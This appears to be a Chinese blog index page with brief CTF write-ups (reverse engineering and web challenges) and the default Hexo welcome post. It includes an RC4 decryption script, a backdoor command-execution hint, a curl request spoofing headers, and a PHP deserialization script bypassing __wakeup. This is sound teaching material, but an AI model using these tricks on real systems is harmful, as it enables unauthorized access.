Reverse
[签到]PYC
电脑上的pycdc出问题了,就找个在线的
https://www.lddgo.net/string/pyc-compile-decompile
print(‘SICTF{07e278e7-9d66-4d90-88fc-8bd61e490616}’)
Myobject
rc4加解密,写个脚本
def rc4(key, plaintext):
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
i = 0
j = 0
output = []
for byte in plaintext:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) % 256]
output.append(byte ^ K)
return output
key = [ord(char) for char in "SIFLAG"]
v18_bytes = (0x47CF225A0ED32730).to_bytes(8, byteorder='little')
ciphertext_v19 = [71, 107, 11, 229, 141, 83, 186, 153, 195, 133, 7]
v20_bytes = (0x9F88FE10771C0107).to_bytes(8, byteorder='little')
full_ciphertext_27 = list(v18_bytes) + ciphertext_v19 + list(v20_bytes)
decrypted_full_combined = rc4(key, full_ciphertext_27)
decrypted_full_combined_string = ''.join([chr(byte) for byte in decrypted_full_combined])
print(decrypted_full_combined_string)
SICTF{wow_you_get_the_flag}
chbase
strcpy(Str2, "F0lWEVA7BmUzAGB0C2UuAU9hbnIpATEidDdnACQ9");
char *sub_411B30()
{
char *result; // eax
__CheckForDebuggerJustMyCode(&unk_41C0F5);
j_strcpy(&Destination, "ZYXWVUTSRQPONMLKJIHGFEDCBAabcdefghijklmnopqrstuvwxyz0123456789+/");
result = (char *)IsDebuggerPresent();
if ( result )
return j_strcpy(&Destination, "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/");
return result;
}
base64换一下上面的索引表就解出来了
http://web.chacuo.net/netbasex
SICTF{base64_and_antidebugger}
不一样的base64
这个出题人怎么对base64情有独钟
pyinstaller打包的exe,我找了几个提取pyc的项目,就这个比较好用
https://github.com/pyinstxtractor/pyinstxtractor-ng/releases/tag/2023.08.20
然后把111.pyc 反编译一下
Read More
Web
[Baby] SignIn
查看源代码,script.js文件中有一段document.getElementById(‘flag’).addEventListener(‘click’, function()下面是一段jsfuck混淆
https://enkhee-osiris.github.io/Decoder-JSFuck/ 得到flag
[Baby] Backdoor
post传system()执行系统命令,找到flag
[Baby] Webpack
https://www.cnblogs.com/guowenrui/p/17023732.html 参考的这个文章
安装nodejs 用reverse-sourcemap .map文件还原找到flag
[Easy] Leak
.swp备份文件 vim -r还原得到flag
[Easy] ezhttp
传参的时候有些问题,像传host还有referer,可能是我这边安装的burp有问题,上网上查了一下发现curl也能传很多参数
curl -X CNSS -A "Mozilla/5.0 (Linux; Android 8.1.0; Redmi 5 Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/4313 MMWEBSDK/20220604 Mobile Safari/537.36 MMWEBID/8603 MicroMessenger/8.0.24.2180(0x28001851) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64" -H "Referer: cnss.io" -H "X-Forwarded-For: 127.0.0.1" -H "Host: uestc.edu.cn" -H "Content-Type: application/json" -d "{\"name\": \"nyyyddddn\",\"password\" : \"123456\"}" -b "name=nyyyddddn;password=123456" -u nyyyddddn:123456 http://124.221.34.13:50005/Index
[Easy] ezunserialize
fssmsl网页那显示错误是unicode里面的LRI PDI RLO的原因,在ide里面没有这种问题,传参的时候转url编码传就行了,只需要改对象数量绕过__wakeup就拿到flag了
<?php
error_reporting(0);
show_source(__FILE__);
include "flag.php";
class CNSS
{
public $username = 'admin';
private $i_want2_say = 'fssmsli_like_web';
protected $password = 'ctf';
function __wakeup()
{
$this->username = 'guest';
$this->i_want2_say = 'i_like_web';
$this->password = '123456';
echo "<br/> wake up! <br/>";
}
function __destruct()
{
echo "destruct<br />";
if ($this->username === 'admin' && $this->password === 'ctf' && $this->i_want2_say === 'fssmsli_like_web') {
global $flag;
echo $flag;
} else
echo "you are 2 baby la<br/>";
}
}
$aa = new CNSS();
$ss = serialize($aa);
$ss=str_replace('"CNSS":3','"CNSS":4',$ss);
echo urlencode($ss);
Re
[Baby] Welcome to Reverse World!
main函数那,一打开就有flag了
Read More
Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.
Quick Start
Create a new post
$ hexo new "My New Post"
More info: Writing
Run server
$ hexo server
More info: Server
Generate static files
$ hexo generate
More info: Generating
Deploy to remote sites
$ hexo deploy
More info: Deployment
Read More